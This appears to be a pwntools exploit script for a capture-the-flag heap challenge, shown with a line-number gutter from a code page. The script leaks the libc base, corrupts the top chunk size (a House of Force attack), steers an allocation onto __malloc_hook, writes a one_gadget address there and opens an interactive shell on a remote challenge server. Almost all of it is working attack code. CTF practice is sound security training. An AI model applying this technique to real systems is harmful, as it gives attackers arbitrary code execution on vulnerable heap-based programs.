1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| from pwn import * from pwn import p8,p16,p32,p64,u32,u64 context.arch = 'amd64'
context.terminal = ['gnome-terminal', '-e'] local_file = '/home/feichai/ctf_file/pwn' elf=ELF(local_file) local_libc = elf.libc.path libc=ELF(local_libc, checksec = False)
def start(): if args.GDB: gdbscript = ''' b *0x4008A5 ''' io = process(local_file) gdb.attach(io, gdbscript) elif args.PROCESS: io = process(local_file) else: io = remote("node4.anna.nssctf.cn",28538) return io
def lg(s, addr): return info(f'\033[1;33m{f"{s}-->0x{addr:02x}"}\033[0m')
r = lambda a: io.recv(a) ru = lambda a: io.recvuntil(a) s = lambda a: io.send(a) sa = lambda a,b: io.sendafter(a,b) sl = lambda a: io.sendline(a) sla = lambda a,b: io.sendlineafter(a,b)
io = start()
def add(idx, size, content=b'aaaa'): sla(b'4.go away',b'1') sla(b'index?',str(idx)) sla(b'want?',str(size)) sa(b'write?',content)
def exp():
add(0,0x21000) ru(b'0x') libc_base = int(ru(b' '),16) - 0x5ca010 lg('libc_base',libc_base)
add(1,0x10,b'a'*0x10+p64(0)+p64(0xffffffffffffffff)) ru(b'0x') top_chunk = int(ru(b' '),16) + 0x10 lg('top_chunk',top_chunk)
malloc_hook = libc_base + libc.symbols['__malloc_hook'] lg('malloc_hook',malloc_hook) og = [0x4527a, 0xf03a4, 0xf1247] og = libc_base + og[2]
add(2,malloc_hook-0x20-top_chunk) add(3,0x10,p64(og))
sla(b'4.go away',b'1') sla(b'index?',str(4)) sla(b'want?',str(0x10)) io.interactive()
if __name__=='__main__': exp()
|